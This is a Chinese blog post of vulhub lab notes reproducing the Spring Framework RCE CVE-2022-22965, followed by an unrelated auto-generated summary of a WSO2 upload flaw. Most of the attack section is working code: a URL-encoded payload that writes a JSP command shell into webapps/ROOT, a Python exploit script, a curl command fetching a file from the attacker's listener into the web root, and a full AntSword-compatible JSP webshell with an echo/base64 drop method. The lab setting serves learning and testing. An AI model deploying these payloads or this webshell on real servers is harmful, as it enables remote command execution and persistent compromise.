vluhub漏洞复现笔记:CVE-2022-22965:Spring Framework

文章出处:

Spring RCE 漏洞 CVE-2022-22965复现分析_@Camelus的博客-CSDN博客

蚁剑jsp一句话木马_123hello123的博客-CSDN博客_jsp一句话木马

Linux下用base64命令加解密字符串_对酒当歌丶人生几何的博客-CSDN博客_linux base64加密

注:小白一枚,记录一下漏洞复现中的问题,可能存在对原理认识上的错误,请多多指正!!!

简介

1、spring framework

它是Java最流行的一个框架,基于Spring我们可以直接调用实现一些简单的业务逻辑即可使用,同时也包含了许多高级的功能,比如面向切面编程,也可以非常简单的和其他组件进行集成,比如说我们用Spring访问数据库Redis......它都已经提供了相应的接口。

2、spring boot

但是spring的配置非常繁琐,后来出现了Spring Boot , 其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用。

Spring mvc就是spring中的一个MVC框架,主要用来开发web应用和网络接口,但是其使用之前需要配置大量的xml文件,比较繁琐,所以出现springboot,其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用

漏洞介绍

Spring Framework RCE, Early Announcement

受影响版本:

  • Spring Framework < 5.3.18

  • Spring Framework < 5.2.20

  • JDK ≥ 9

不受影响版本

  • Spring Framework = 5.3.18

  • Spring Framework = 5.2.20

  • JDK < 9

  • 与Tomcat版本有关

漏洞复现

1、BP抓包,增加红框内容(15、16需要空着,不然打不进去)

 

?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
​
suffix: %>//
c1: Runtime
c2: <%

发送后:返回页面200

访问目录:fuck.jsp?pwd=fuck&cmd=id,可以修改id命令执行

大佬写的脚本:

import requests
 
headers={
    "suffix": "%>//",
    "c1": "Runtime",
    "c2": "<%"
}
 
payload1='/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat='
ip="http://192.168.1.136:8080"
payload2='/fuck.jsp?pwd=fuck&cmd=id'
 
try:
    U1=requests.get(url=ip+payload1,headers=headers,verify=False,timeout=3)
    U2=requests.get(url=ip+payload2,verify=False,timeout=3)
    if U2.status_code == 200:
        print(f"The VULN CVE-2022-22965 exists, payload is :{payload2.replace('/','')}")
except Exception as e:
    print(e)

2、访问成功后,可以尝试从kali中下载文件,文件中可以存放蚁剑可以连接的jsp一句话木马

kali开启监听,用命令行执行下载文件

 

python3 -m http.server 6666    #kali用python开启监听
​
curl 192.168.135.131:6666/index.txt -o ./webapps/ROOT/a.jsp 
#命令行执行命令,将文件下载到a.jsp,需要知道相对路径

将蚁剑可以连接的一句话木马(放入index.txt中):

个人理解(可能是多此一举) :这个地方,jsp的一句话,需要对应的webshell工具,比如:上方payload中插入的一句话,我自己尝试蚁剑连接并没有成功,所以有了第二部分的内容

下方一句话:密码passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

蚁剑连接页面:

 

3、echo利用方法

(目标主机不需要联网,但是此漏洞复现,没有成功实现,原因不大清楚)

可以在rce处,执行echo命令,将jsp马,打入保存为a.jsp jsp马,echo时候,例如:$字符可能会进行转义,不能完整保存到a.jsp 可以使用bash64编码后保存到文件中

命令格式(其他echo用法可以再找一找):

echo '一句话base64编码' | base64 -d > b.jsp

保存结果:

到这里就可以用蚁剑连接b.jsp

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据引用\[1\],CVE-2022-29464是Orange Tsai发的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE(远程命令执行)权限。 根据引用\[2\],攻击者可以通过上传名为1.jsp的恶意文件来利用该漏洞。该文件包含了一个表单,其中包含一个名为"cmd"的输入框,攻击者可以在此输入框中输入命令,并通过点击"Run"按钮来执行该命令。该文件还包含了Java代码,用于执行命令并将输出返回给攻击者。 根据引用\[3\],该漏洞的受攻击的上传路由是/fileupload,由FileUploadServlet处理。而Identity.xml是一个配置文件,该文件上的路由(/fileupload)不受IAM(身份和访问管理)保护。 综上所述,CVE-2022-29464是一个严重的漏洞,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得远程命令执行权限。 #### 引用[.reference_title] - *1* [【春秋云境】CVE-2022-29464](https://blog.csdn.net/ZXW_NUDT/article/details/129159816)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [漏洞 a.WSO2 文件上传 (CVE-2022-29464)](https://blog.csdn.net/FODKING/article/details/125746993)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值